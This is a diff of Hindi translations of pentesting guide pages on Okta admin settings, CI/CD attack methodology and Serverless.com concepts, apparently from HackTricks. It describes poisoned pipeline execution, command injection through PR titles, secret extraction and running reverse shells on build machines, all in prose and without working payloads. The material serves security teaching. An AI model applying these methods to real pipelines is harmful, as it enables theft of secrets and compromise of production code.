-एक नेटवर्क क्षेत्र एक कॉन्फ़िगर करने योग्य सीमा है जिसका उपयोग आप अपने संगठन में **कंप्यूटरों और उपकरणों** को **IP पते** के आधार पर पहुंच देने या प्रतिबंधित करने के लिए कर सकते हैं। आप एक या अधिक व्यक्तिगत IP पते, IP पते की रेंज, या भौगोलिक स्थान निर्दिष्ट करके एक नेटवर्क क्षेत्र परिभाषित कर सकते हैं।
+एक नेटवर्क क्षेत्र एक कॉन्फ़िगर करने योग्य सीमा है जिसका उपयोग आप अपने संगठन में **कंप्यूटरों और उपकरणों** तक पहुंच देने या प्रतिबंधित करने के लिए कर सकते हैं जो **IP पते** के आधार पर अनुरोध कर रहे हैं। आप एक या अधिक व्यक्तिगत IP पते, IP पते की रेंज, या भौगोलिक स्थान निर्दिष्ट करके एक नेटवर्क क्षेत्र को परिभाषित कर सकते हैं।
एक बार जब आप एक या अधिक नेटवर्क क्षेत्रों को परिभाषित कर लेते हैं, तो आप **उन्हें वैश्विक सत्र नीतियों**, **प्रमाणीकरण नीतियों**, VPN सूचनाओं, और **रूटिंग नियमों** में उपयोग कर सकते हैं।
-हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि कौन से IPs की अनुमति है (और जांचें कि क्या कोई **IPs अन्य से अधिक विशेषाधिकार प्राप्त** हैं)। हमलावर के दृष्टिकोण से, यदि उपयोगकर्ताओं को किसी विशिष्ट IP पते या क्षेत्र से पहुंच प्राप्त करनी चाहिए, तो जांचें कि यह सुविधा सही तरीके से उपयोग की जा रही है।
+हमलावर के दृष्टिकोण से यह जानना दिलचस्प है कि कौन से Ps की अनुमति है (और जांचें कि क्या कोई **IPs अन्य से अधिक विशेषाधिकार प्राप्त** हैं)। हमलावर के दृष्टिकोण से, यदि उपयोगकर्ताओं को किसी विशिष्ट IP पते या क्षेत्र से पहुंच प्राप्त करनी चाहिए, तो जांचें कि यह सुविधा सही तरीके से उपयोग की जा रही है।
### Device Integrations
-- **Endpoint Management**: एंडपॉइंट प्रबंधन एक शर्त है जिसे प्रमाणीकरण नीति में लागू किया जा सकता है ताकि यह सुनिश्चित किया जा सके कि प्रबंधित उपकरणों को एक अनुप्रयोग तक पहुंच प्राप्त है।
-- मैंने अभी तक इसका उपयोग नहीं देखा है। TODO
-- **Notification services**: मैंने अभी तक इसका उपयोग नहीं देखा है। TODO
+- **Endpoint Management**: एंडपॉइंट प्रबंधन एक ऐसी स्थिति है जिसे प्रमाणीकरण नीति में लागू किया जा सकता है ताकि यह सुनिश्चित किया जा सके कि प्रबंधित उपकरणों को एक अनुप्रयोग तक पहुंच प्राप्त है।
+- मैंने अभी तक इसका उपयोग होते नहीं देखा है। TODO
+- **Notification services**: मैंने अभी तक इसका उपयोग होते नहीं देखा है। TODO
### API
-आप इस पृष्ठ पर Okta API टोकन बना सकते हैं, और देख सकते हैं कि कौन से **बनाए गए हैं**, उनके **विशेषाधिकार**, **समाप्ति** समय और **Origin URLs**। ध्यान दें कि API टोकन उन अनुमतियों के साथ उत्पन्न होते हैं जो उपयोगकर्ता ने टोकन बनाया है और केवल तभी मान्य होते हैं जब **उपयोगकर्ता** जो उन्हें बनाता है वह **सक्रिय** हो।
+आप इस पृष्ठ पर Okta API टोकन बना सकते हैं, और देख सकते हैं कि कौन से **बनाए गए** हैं, उनके **विशेषाधिकार**, **समाप्ति** समय और **Origin URLs**। ध्यान दें कि API टोकन उन अनुमतियों के साथ उत्पन्न होते हैं जो उपयोगकर्ता ने टोकन बनाया है और केवल तभी मान्य होते हैं जब **उपयोगकर्ता** जो उन्हें बनाता है वह **सक्रिय** हो।
-**Trusted Origins** उन वेबसाइटों को पहुंच प्रदान करते हैं जिन्हें आप नियंत्रित करते हैं और जो आपके Okta संगठन तक पहुंचने के लिए विश्वसनीय हैं।
+**Trusted Origins** उन वेबसाइटों को पहुंच प्रदान करते हैं जिन्हें आप नियंत्रित करते हैं और Okta API के माध्यम से आपके Okta संगठन तक पहुंचने के लिए विश्वसनीय हैं।
-यहां बहुत सारे API टोकन नहीं होने चाहिए, क्योंकि यदि हैं तो एक हमलावर उन्हें एक्सेस करने और उनका उपयोग करने की कोशिश कर सकता है।
+API टोकन की संख्या अधिक नहीं होनी चाहिए, क्योंकि यदि ऐसा होता है तो एक हमलावर उन्हें एक्सेस करने और उनका उपयोग करने की कोशिश कर सकता है।
## Workflow
### Automations
-स्वचालन आपको स्वचालित क्रियाएं बनाने की अनुमति देता है जो अंत उपयोगकर्ताओं के जीवन चक्र के दौरान होने वाली ट्रिगर स्थितियों के सेट के आधार पर चलती हैं।
+स्वचालन आपको स्वचालित क्रियाएँ बनाने की अनुमति देता है जो अंत उपयोगकर्ताओं के जीवन चक्र के दौरान होने वाली एक सेट ट्रिगर शर्तों के आधार पर चलती हैं।
-उदाहरण के लिए, एक स्थिति हो सकती है "Okta में उपयोगकर्ता की निष्क्रियता" या "Okta में उपयोगकर्ता का पासवर्ड समाप्ति" और क्रिया हो सकती है "उपयोगकर्ता को ईमेल भेजें" या "Okta में उपयोगकर्ता जीवन चक्र की स्थिति बदलें"।
+उदाहरण के लिए, एक शर्त हो सकती है "Okta में उपयोगकर्ता की निष्क्रियता" या "Okta में उपयोगकर्ता का पासवर्ड समाप्ति" और क्रिया हो सकती है "उपयोगकर्ता को ईमेल भेजें" या "Okta में उपयोगकर्ता जीवन चक्र की स्थिति बदलें"।
## Reports
@@ -194,6 +194,6 @@ API दर सीमाओं की जांच करें।
### Downloads
-यहां आप Okta एजेंट डाउनलोड कर सकते हैं ताकि Okta को अन्य तकनीकों के साथ समन्वयित किया जा सके।
+यहां आप अन्य तकनीकों के साथ Okta को समन्वयित करने के लिए Okta एजेंट डाउनलोड कर सकते हैं।
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 7728e9457..206b667ca 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -6,7 +6,7 @@
## VCS
-VCS का मतलब है **Version Control System**, यह सिस्टम डेवलपर्स को **अपने स्रोत कोड का प्रबंधन** करने की अनुमति देता है। सबसे सामान्य है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **platforms** में इसका उपयोग करते हुए पाएंगे:
+VCS का मतलब है **Version Control System**, यह सिस्टम डेवलपर्स को **अपने स्रोत कोड का प्रबंधन** करने की अनुमति देता है। सबसे सामान्य है **git** और आप आमतौर पर कंपनियों को निम्नलिखित **प्लेटफार्मों** में इसका उपयोग करते हुए पाएंगे:
- Github
- Gitlab
@@ -16,73 +16,73 @@ VCS का मतलब है **Version Control System**, यह सिस्
## CI/CD Pipelines
-CI/CD पाइपलाइनों डेवलपर्स को **कोड के निष्पादन को स्वचालित** करने की अनुमति देती हैं विभिन्न उद्देश्यों के लिए, जिसमें एप्लिकेशन का निर्माण, परीक्षण और तैनाती शामिल है। ये स्वचालित कार्यप्रवाह **विशिष्ट क्रियाओं** द्वारा **प्रेरित** होते हैं, जैसे कोड पुश, पुल अनुरोध, या अनुसूचित कार्य। ये विकास से उत्पादन तक की प्रक्रिया को सरल बनाने के लिए उपयोगी हैं।
+CI/CD पाइपलाइनों से डेवलपर्स को **कोड के निष्पादन को स्वचालित** करने की अनुमति मिलती है विभिन्न उद्देश्यों के लिए, जिसमें एप्लिकेशन का निर्माण, परीक्षण और तैनाती शामिल है। ये स्वचालित कार्यप्रवाह **विशिष्ट क्रियाओं** द्वारा **प्रेरित** होते हैं, जैसे कोड पुश, पुल अनुरोध, या अनुसूचित कार्य। ये विकास से उत्पादन तक की प्रक्रिया को सरल बनाने के लिए उपयोगी हैं।
हालांकि, इन सिस्टम को **कहीं निष्पादित** करने की आवश्यकता होती है और आमतौर पर **संवेदनशील जानकारी तक पहुंचने या कोड तैनात करने के लिए विशेषाधिकार प्राप्त क्रेडेंशियल्स के साथ**।
## VCS Pentesting Methodology
> [!NOTE]
-> भले ही कुछ VCS प्लेटफार्म इस अनुभाग के लिए पाइपलाइनों को बनाने की अनुमति देते हैं, हम केवल स्रोत कोड के नियंत्रण पर संभावित हमलों का विश्लेषण करने जा रहे हैं।
+> भले ही कुछ VCS प्लेटफार्मों को इस अनुभाग के लिए पाइपलाइनों को बनाने की अनुमति हो, हम केवल स्रोत कोड के नियंत्रण पर संभावित हमलों का विश्लेषण करने जा रहे हैं।
-आपकी परियोजना के स्रोत कोड वाले प्लेटफार्मों में संवेदनशील जानकारी होती है और लोगों को इस प्लेटफार्म के भीतर दिए गए अनुमतियों के साथ बहुत सावधान रहना चाहिए। ये कुछ सामान्य समस्याएं हैं जो VCS प्लेटफार्मों में हो सकती हैं जिनका उपयोग हमलावर कर सकते हैं:
+आपकी परियोजना के स्रोत कोड वाले प्लेटफार्मों में संवेदनशील जानकारी होती है और लोगों को इस प्लेटफार्म के भीतर दिए गए अनुमतियों के साथ बहुत सावधान रहना चाहिए। ये कुछ सामान्य समस्याएं हैं जो VCS प्लेटफार्मों में हो सकती हैं जिनका हमलावर दुरुपयोग कर सकता है:
-- **Leaks**: यदि आपके कोड में कमिट्स में लीक हैं और हमलावर को रिपॉजिटरी तक पहुंच मिलती है (क्योंकि यह सार्वजनिक है या क्योंकि उसके पास पहुंच है), तो वह लीक का पता लगा सकता है।
-- **Access**: यदि एक हमलावर **VCS प्लेटफार्म के भीतर एक खाते तक पहुंच सकता है**, तो वह **अधिक दृश्यता और अनुमतियाँ** प्राप्त कर सकता है।
+- **Leaks**: यदि आपके कोड में कमिट्स में लीक हैं और हमलावर को रिपॉजिटरी तक पहुंच प्राप्त है (क्योंकि यह सार्वजनिक है या क्योंकि उसके पास पहुंच है), तो वह लीक का पता लगा सकता है।
+- **Access**: यदि एक हमलावर **VCS प्लेटफार्म के भीतर एक खाते तक पहुंच प्राप्त कर सकता है**, तो वह **अधिक दृश्यता और अनुमतियाँ** प्राप्त कर सकता है।
- **Register**: कुछ प्लेटफार्म केवल बाहरी उपयोगकर्ताओं को एक खाता बनाने की अनुमति देंगे।
-- **SSO**: कुछ प्लेटफार्म उपयोगकर्ताओं को पंजीकरण करने की अनुमति नहीं देंगे, लेकिन किसी को भी एक मान्य SSO के साथ पहुंचने की अनुमति देंगे (इसलिए एक हमलावर उदाहरण के लिए अपने github खाते का उपयोग कर सकता है)।
+- **SSO**: कुछ प्लेटफार्म उपयोगकर्ताओं को पंजीकरण करने की अनुमति नहीं देंगे, लेकिन किसी को भी एक मान्य SSO के साथ पहुंचने की अनुमति देंगे (इसलिए एक हमलावर अपने github खाते का उपयोग करके प्रवेश कर सकता है, उदाहरण के लिए)।
- **Credentials**: Username+Pwd, व्यक्तिगत टोकन, ssh कुंजी, Oauth टोकन, कुकीज़... उपयोगकर्ता कई प्रकार के टोकन चुरा सकते हैं ताकि किसी तरह एक रिपॉजिटरी तक पहुंच प्राप्त कर सकें।
- **Webhooks**: VCS प्लेटफार्म वेबहुक उत्पन्न करने की अनुमति देते हैं। यदि वे **अदृश्य रहस्यों** के साथ **संरक्षित नहीं हैं**, तो एक **हमलावर उनका दुरुपयोग कर सकता है**।
- यदि कोई रहस्य नहीं है, तो हमलावर तीसरे पक्ष के प्लेटफार्म के वेबहुक का दुरुपयोग कर सकता है
- यदि रहस्य URL में है, तो वही होता है और हमलावर के पास भी रहस्य होता है
-- **Code compromise:** यदि एक दुर्भावनापूर्ण अभिनेता के पास रिपॉजिटरी पर कुछ प्रकार की **लिखने** की पहुंच है, तो वह **दुर्भावनापूर्ण कोड इंजेक्ट** करने की कोशिश कर सकता है। सफल होने के लिए, उसे **ब्रांच सुरक्षा को बायपास** करने की आवश्यकता हो सकती है। ये क्रियाएँ विभिन्न लक्ष्यों के साथ की जा सकती हैं:
-- मुख्य शाखा को **उत्पादन को समझौता करने के लिए** समझौता करना।
-- मुख्य (या अन्य शाखाओं) को **डेवलपर्स की मशीनों को समझौता करने के लिए** समझौता करना (क्योंकि वे आमतौर पर परीक्षण, टेराफॉर्म या अन्य चीजें अपनी मशीनों में रिपॉजिटरी के भीतर निष्पादित करते हैं)।
-- **पाइपलाइन को समझौता करना** (अगली अनुभाग देखें)
+- **Code compromise:** यदि एक दुर्भावनापूर्ण अभिनेता के पास रिपॉजिटरी पर कुछ प्रकार की **लिखने** की पहुंच है, तो वह **दुर्भावनापूर्ण कोड** को **इंजेक्ट** करने की कोशिश कर सकता है। सफल होने के लिए, उसे **ब्रांच सुरक्षा को बायपास** करने की आवश्यकता हो सकती है। ये क्रियाएँ विभिन्न लक्ष्यों के साथ की जा सकती हैं:
+- मुख्य शाखा को **उत्पादन को समझौता करने** के लिए समझौता करना।
+- मुख्य (या अन्य शाखाओं) को **डेवलपर्स की मशीनों को समझौता करने** के लिए समझौता करना (क्योंकि वे आमतौर पर परीक्षण, टेराफॉर्म या अन्य चीजें अपनी मशीनों में रिपॉजिटरी के भीतर निष्पादित करते हैं)।
+- **पाइपलाइन को समझौता करना** (अगले अनुभाग की जांच करें)
## Pipelines Pentesting Methodology
पाइपलाइन को परिभाषित करने का सबसे सामान्य तरीका है **रिपॉजिटरी में होस्ट की गई CI कॉन्फ़िगरेशन फ़ाइल** का उपयोग करना जिसे पाइपलाइन बनाती है। यह फ़ाइल निष्पादित कार्यों के क्रम, प्रवाह को प्रभावित करने वाली शर्तों, और निर्माण वातावरण सेटिंग्स का वर्णन करती है।\
-ये फ़ाइलें आमतौर पर एक सुसंगत नाम और प्रारूप रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और .github/workflows के तहत स्थित GitHub Actions YAML फ़ाइलें। जब प्रेरित किया जाता है, तो पाइपलाइन कार्य **चयनित स्रोत से कोड खींचता है** (जैसे कमिट / शाखा), और **CI कॉन्फ़िगरेशन फ़ाइल में निर्दिष्ट आदेशों को उस कोड के खिलाफ चलाता है**।
+ये फ़ाइलें आमतौर पर एक सुसंगत नाम और प्रारूप रखती हैं, उदाहरण के लिए — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), और .github/workflows के तहत स्थित GitHub Actions YAML फ़ाइलें। जब प्रेरित किया जाता है, तो पाइपलाइन कार्य **चयनित स्रोत से कोड खींचता है** (जैसे कमिट / शाखा), और **CI कॉन्फ़िगरेशन फ़ाइल में निर्दिष्ट आदेशों को** उस कोड के खिलाफ चलाता है।
इसलिए हमलावर का अंतिम लक्ष्य किसी तरह **उन कॉन्फ़िगरेशन फ़ाइलों को समझौता करना** या **वे जो आदेश निष्पादित करते हैं**।
### PPE - Poisoned Pipeline Execution
-Poisoned Pipeline Execution (PPE) पथ एक SCM रिपॉजिटरी में अनुमतियों का लाभ उठाता है ताकि एक CI पाइपलाइन को हेरफेर किया जा सके और हानिकारक आदेशों को निष्पादित किया जा सके। आवश्यक अनुमतियों वाले उपयोगकर्ता CI कॉन्फ़िगरेशन फ़ाइलों या अन्य फ़ाइलों को संशोधित कर सकते हैं जो पाइपलाइन कार्य द्वारा उपयोग की जाती हैं ताकि दुर्भावनापूर्ण आदेश शामिल किए जा सकें। यह "CI पाइपलाइन को विषाक्त" करता है, जिससे इन दुर्भावनापूर्ण आदेशों का निष्पादन होता है।
+Poisoned Pipeline Execution (PPE) पथ एक SCM रिपॉजिटरी में अनुमतियों का दुरुपयोग करता है ताकि एक CI पाइपलाइन को हेरफेर किया जा सके और हानिकारक आदेशों को निष्पादित किया जा सके। आवश्यक अनुमतियों वाले उपयोगकर्ता CI कॉन्फ़िगरेशन फ़ाइलों या अन्य फ़ाइलों को संशोधित कर सकते हैं जो पाइपलाइन कार्य द्वारा उपयोग की जाती हैं ताकि दुर्भावनापूर्ण आदेश शामिल किए जा सकें। यह "CI पाइपलाइन को विषाक्त" करता है, जिससे इन दुर्भावनापूर्ण आदेशों का निष्पादन होता है।
-एक दुर्भावनापूर्ण अभिनेता के लिए PPE हमले को सफलतापूर्वक करने के लिए उसे सक्षम होना चाहिए:
+एक दुर्भावनापूर्ण अभिनेता को PPE हमले को सफलतापूर्वक करने के लिए सक्षम होना चाहिए:
-- **VCS प्लेटफार्म पर लिखने की पहुंच** हो, क्योंकि आमतौर पर पाइपलाइन तब प्रेरित होती है जब एक पुश या एक पुल अनुरोध किया जाता है। (पहुंच प्राप्त करने के तरीकों का सारांश देखने के लिए VCS पेंटेस्टिंग पद्धति की जांच करें)।
+- **VCS प्लेटफार्म पर लिखने की पहुंच** हो, क्योंकि आमतौर पर पाइपलाइन तब प्रेरित होती है जब एक पुश या पुल अनुरोध किया जाता है। (पहुंच प्राप्त करने के तरीकों का सारांश देखने के लिए VCS पेंटेस्टिंग पद्धति की जांच करें)।
- ध्यान दें कि कभी-कभी एक **बाहरी PR को "लिखने की पहुंच" के रूप में गिना जाता है**।
- भले ही उसके पास लिखने की अनुमतियाँ हों, उसे यह सुनिश्चित करने की आवश्यकता है कि वह **CI कॉन्फ़िगरेशन फ़ाइल या अन्य फ़ाइलों को संशोधित कर सकता है जिन पर कॉन्फ़िगरेशन निर्भर करता है**।
- इसके लिए, उसे **ब्रांच सुरक्षा को बायपास** करने में सक्षम होना पड़ सकता है।
PPE के 3 प्रकार हैं:
-- **D-PPE**: एक **Direct PPE** हमला तब होता है जब अभिनेता **CI कॉन्फ़िग** फ़ाइल को संशोधित करता है जो निष्पादित होने वाली है।
-- **I-DDE**: एक **Indirect PPE** हमला तब होता है जब अभिनेता **संशोधित करता है** एक **फ़ाइल** जिसे CI कॉन्फ़िगरेशन फ़ाइल **निर्भर करती है** (जैसे एक मेक फ़ाइल या एक टेराफॉर्म कॉन्फ़िग)।
+- **D-PPE**: एक **Direct PPE** हमला तब होता है जब अभिनेता **CI कॉन्फ़िगरेशन** फ़ाइल को संशोधित करता है जिसे निष्पादित किया जाने वाला है।
+- **I-DDE**: एक **Indirect PPE** हमला तब होता है जब अभिनेता **संशोधित करता है** एक **फ़ाइल** जिसे CI कॉन्फ़िगरेशन फ़ाइल निष्पादित होने पर **निर्भर करती है** (जैसे एक मेक फ़ाइल या एक टेराफॉर्म कॉन्फ़िगरेशन)।
- **Public PPE या 3PE**: कुछ मामलों में पाइपलाइनों को **उन उपयोगकर्ताओं द्वारा प्रेरित किया जा सकता है जिनके पास रिपॉजिटरी में लिखने की पहुंच नहीं है** (और जो शायद संगठन का हिस्सा भी नहीं हैं) क्योंकि वे एक PR भेज सकते हैं।
-- **3PE Command Injection**: आमतौर पर, CI/CD पाइपलाइनों **पर्यावरण चर सेट करेंगी** **PR के बारे में जानकारी के साथ**। यदि उस मान को एक हमलावर द्वारा नियंत्रित किया जा सकता है (जैसे PR का शीर्षक) और इसका **उपयोग** एक **खतरनाक स्थान** में किया जाता है (जैसे **sh आदेशों** को निष्पादित करना), तो एक हमलावर **वहाँ आदेश इंजेक्ट कर सकता है**।
+- **3PE Command Injection**: आमतौर पर, CI/CD पाइपलाइनों **पर्यावरण चर सेट करेंगी** **PR के बारे में जानकारी** के साथ। यदि उस मान को एक हमलावर द्वारा नियंत्रित किया जा सकता है (जैसे PR का शीर्षक) और इसका **उपयोग** एक **खतरनाक स्थान** में किया जाता है (जैसे **sh आदेशों** को निष्पादित करना), तो एक हमलावर **वहाँ आदेश इंजेक्ट कर सकता है**।
### Exploitation Benefits
पाइपलाइन को विषाक्त करने के 3 प्रकारों को जानने के बाद, चलिए देखते हैं कि एक हमलावर सफल शोषण के बाद क्या प्राप्त कर सकता है:
- **Secrets**: जैसा कि पहले उल्लेख किया गया था, पाइपलाइनों को उनके कार्यों के लिए **विशेषाधिकार** की आवश्यकता होती है (कोड प्राप्त करना, इसे बनाना, इसे तैनात करना...) और ये विशेषाधिकार आमतौर पर **रहस्यों में दिए जाते हैं**। ये रहस्य आमतौर पर **env चर या सिस्टम के भीतर फ़ाइलों के माध्यम से** सुलभ होते हैं। इसलिए एक हमलावर हमेशा जितना संभव हो सके उतने रहस्यों को निकालने की कोशिश करेगा।
-- पाइपलाइन प्लेटफार्म के आधार पर हमलावर को **कॉन्फ़िग में रहस्यों को निर्दिष्ट करने की आवश्यकता हो सकती है**। इसका मतलब है कि यदि हमलावर CI कॉन्फ़िगरेशन पाइपलाइन को संशोधित नहीं कर सकता (**I-PPE** उदाहरण के लिए), तो वह **केवल उन रहस्यों को निकाल सकता है जो पाइपलाइन के पास हैं**।
+- पाइपलाइन प्लेटफार्म के आधार पर हमलावर को **कॉन्फ़िगरेशन में रहस्यों को निर्दिष्ट करने की आवश्यकता हो सकती है**। इसका मतलब है कि यदि हमलावर CI कॉन्फ़िगरेशन पाइपलाइन को संशोधित नहीं कर सकता (**I-PPE** उदाहरण के लिए), तो वह **केवल उन रहस्यों को निकाल सकता है जो पाइपलाइन के पास हैं**।
- **Computation**: कोड कहीं निष्पादित होता है, जिस स्थान पर यह निष्पादित होता है उसके आधार पर एक हमलावर आगे बढ़ने में सक्षम हो सकता है।
-- **On-Premises**: यदि पाइपलाइनों को ऑन-प्रिमाइसेस पर निष्पादित किया जाता है, तो एक हमलावर एक **आंतरिक नेटवर्क में अधिक संसाधनों तक पहुंच के साथ समाप्त हो सकता है**।
-- **Cloud**: हमलावर **क्लाउड में अन्य मशीनों तक पहुंच** प्राप्त कर सकता है लेकिन वह **IAM भूमिकाओं/सेवा खातों के टोकन** को भी निकाल सकता है ताकि **क्लाउड के भीतर आगे की पहुंच प्राप्त की जा सके**।
+- **On-Premises**: यदि पाइपलाइनों को ऑन-प्रिमाइसेस पर निष्पादित किया जाता है, तो एक हमलावर एक **आंतरिक नेटवर्क में अधिक संसाधनों तक पहुंच** प्राप्त कर सकता है।
+- **Cloud**: हमलावर **क्लाउड में अन्य मशीनों** तक पहुंच प्राप्त कर सकता है लेकिन वह **IAM भूमिकाओं/सेवा खातों के टोकन** को भी निकाल सकता है ताकि **क्लाउड के भीतर आगे की पहुंच प्राप्त की जा सके**।
- **Platforms machine**: कभी-कभी कार्य **पाइपलाइनों प्लेटफार्म मशीनों** के भीतर निष्पादित होते हैं, जो आमतौर पर एक क्लाउड के भीतर होते हैं जिसमें **कोई और पहुंच नहीं होती**।
-- **Select it:** कभी-कभी **पाइपलाइनों प्लेटफार्म में कई मशीनें कॉन्फ़िगर की गई होंगी** और यदि आप **CI कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं** तो आप **यह निर्दिष्ट कर सकते हैं कि आप दुर्भावनापूर्ण कोड कहाँ चलाना चाहते हैं**। इस स्थिति में, एक हमलावर शायद प्रत्येक संभावित मशीन पर एक रिवर्स शेल चलाएगा ताकि उसे आगे शोषण करने की कोशिश की जा सके।
-- **Compromise production**: यदि आप पाइपलाइन के भीतर हैं और अंतिम संस्करण इससे बनाया और तैनात किया गया है, तो आप **उस कोड को समझौता कर सकते हैं जो उत्पादन में चलने वाला है**।
+- **Select it:** कभी-कभी **पाइपलाइनों प्लेटफार्म में कई मशीनें कॉन्फ़िगर की गई होती हैं** और यदि आप **CI कॉन्फ़िगरेशन फ़ाइल को संशोधित कर सकते हैं** तो आप **यह निर्दिष्ट कर सकते हैं कि आप दुर्भावनापूर्ण कोड कहाँ चलाना चाहते हैं**। इस स्थिति में, एक हमलावर शायद प्रत्येक संभावित मशीन पर एक रिवर्स शेल चलाएगा ताकि इसे आगे बढ़ाने की कोशिश की जा सके।
+- **Compromise production**: यदि आप पाइपलाइन के भीतर हैं और अंतिम संस्करण इससे बनाया और तैनात किया गया है, तो आप **कोड को समझौता कर सकते हैं जो उत्पादन में चलने वाला है**।
## More relevant info
### Tools & CIS Benchmark
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक ओपन-सोर्स उपकरण है जो आपके सॉफ़्टवेयर आपूर्ति श्रृंखला स्टैक का सुरक्षा अनुपालन के लिए ऑडिट करता है जो एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। ऑडिट पूरी SDLC प्रक्रिया पर केंद्रित है, जहां यह कोड समय से लेकर तैनाती समय तक के जोखिमों को उजागर कर सकता है।
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) एक ओपन-सोर्स उपकरण है जो आपके सॉफ़्टवेयर आपूर्ति श्रृंखला स्टैक का सुरक्षा अनुपालन के लिए ऑडिट करता है जो एक नए [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf) पर आधारित है। ऑडिटिंग पूरे SDLC प्रक्रिया पर केंद्रित है, जहां यह कोड समय से लेकर तैनाती समय तक के जोखिमों को उजागर कर सकता है।
### Top 10 CI/CD Security Risk
@@ -90,7 +90,7 @@ Cider के अनुसार शीर्ष 10 CI/CD जोखिमों
### Labs
-- प्रत्येक प्लेटफार्म पर जिसे आप स्थानीय रूप से चला सकते हैं, आप पाएंगे कि इसे स्थानीय रूप से कैसे लॉन्च किया जाए ताकि आप इसे अपनी इच्छानुसार कॉन्फ़िगर कर सकें।
+- प्रत्येक प्लेटफार्म पर जिसे आप स्थानीय रूप से चला सकते हैं, आप इसे स्थानीय रूप से लॉन्च करने का तरीका पाएंगे ताकि आप इसे अपनी इच्छानुसार कॉन्फ़िगर कर सकें।
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index 8c4f10b5b..776797544 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -1,24 +1,24 @@
-# Serverless.com Security
+# Serverless.com सुरक्षा
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## बुनियादी जानकारी
-### Organization
+### संगठन
-एक **Organization** Serverless Framework पारिस्थितिकी तंत्र के भीतर उच्चतम स्तर की इकाई है। यह एक **सामूहिक समूह** का प्रतिनिधित्व करता है, जैसे कि एक कंपनी, विभाग, या कोई बड़ी इकाई, जो कई परियोजनाओं, टीमों और अनुप्रयोगों को समाहित करता है।
+एक **संगठन** Serverless Framework पारिस्थितिकी तंत्र के भीतर उच्चतम स्तर की इकाई है। यह एक **सामूहिक समूह** का प्रतिनिधित्व करता है, जैसे कि एक कंपनी, विभाग, या कोई बड़ा संगठन, जो कई परियोजनाओं, टीमों और अनुप्रयोगों को समाहित करता है।
-### Team
+### टीम
-**Team** वे उपयोगकर्ता हैं जिनके पास संगठन के भीतर पहुंच है। टीमें सदस्यों को भूमिकाओं के आधार पर व्यवस्थित करने में मदद करती हैं। **`Collaborators`** मौजूदा ऐप्स को देख और तैनात कर सकते हैं, जबकि **`Admins`** नए ऐप्स बना सकते हैं और संगठन की सेटिंग्स प्रबंधित कर सकते हैं।
+**टीम** वे उपयोगकर्ता हैं जिनके पास संगठन के भीतर पहुंच है। टीमें सदस्यों को भूमिकाओं के आधार पर व्यवस्थित करने में मदद करती हैं। **`सहयोगी`** मौजूदा ऐप्स को देख और तैनात कर सकते हैं, जबकि **`व्यवस्थापक`** नए ऐप्स बना सकते हैं और संगठन की सेटिंग्स प्रबंधित कर सकते हैं।
-### Application
+### अनुप्रयोग
-एक **App** एक संगठन के भीतर संबंधित सेवाओं का तार्किक समूह है। यह कई सर्वरलेस सेवाओं से मिलकर बना एक पूर्ण अनुप्रयोग का प्रतिनिधित्व करता है जो एक साथ मिलकर एक समग्र कार्यक्षमता प्रदान करता है।
+एक **ऐप** एक संगठन के भीतर संबंधित सेवाओं का तार्किक समूह है। यह कई सर्वरलेस सेवाओं से मिलकर बना एक पूर्ण अनुप्रयोग का प्रतिनिधित्व करता है जो एक साथ मिलकर एक समग्र कार्यक्षमता प्रदान करता है।
-### **Services**
+### **सेवाएँ**
-एक **Service** एक Serverless अनुप्रयोग का मुख्य घटक है। यह आपके पूरे सर्वरलेस प्रोजेक्ट का प्रतिनिधित्व करता है, जिसमें सभी कार्य, कॉन्फ़िगरेशन और आवश्यक संसाधन शामिल होते हैं। इसे आमतौर पर `serverless.yml` फ़ाइल में परिभाषित किया जाता है, एक सेवा में सेवा का नाम, प्रदाता कॉन्फ़िगरेशन, कार्य, घटनाएँ, संसाधन, प्लगइन्स, और कस्टम वेरिएबल्स जैसी मेटाडेटा शामिल होती है।
+एक **सेवा** एक सर्वरलेस अनुप्रयोग का मुख्य घटक है। यह आपके पूरे सर्वरलेस प्रोजेक्ट का प्रतिनिधित्व करता है, जिसमें सभी कार्य, कॉन्फ़िगरेशन और आवश्यक संसाधन शामिल होते हैं। यह आमतौर पर `serverless.yml` फ़ाइल में परिभाषित किया जाता है, एक सेवा में सेवा का नाम, प्रदाता कॉन्फ़िगरेशन, कार्य, घटनाएँ, संसाधन, प्लगइन्स, और कस्टम वेरिएबल्स जैसी मेटाडेटा शामिल होती है।
```yaml
service: my-service
provider:
@@ -30,9 +30,9 @@ handler: handler.hello
```
-Function
+कार्य
-एक **Function** एकल सर्वरलेस फ़ंक्शन का प्रतिनिधित्व करता है, जैसे कि AWS Lambda फ़ंक्शन। इसमें वह कोड होता है जो घटनाओं के जवाब में निष्पादित होता है।
+A **Function** एक एकल सर्वरलेस फ़ंक्शन का प्रतिनिधित्व करता है, जैसे कि एक AWS Lambda फ़ंक्शन। इसमें वह कोड होता है जो घटनाओं के जवाब में निष्पादित होता है।
यह `serverless.yml` में `functions` अनुभाग के तहत परिभाषित किया गया है, जिसमें हैंडलर, रनटाइम, घटनाएँ, पर्यावरण चर, और अन्य सेटिंग्स निर्दिष्ट की गई हैं।
```yaml
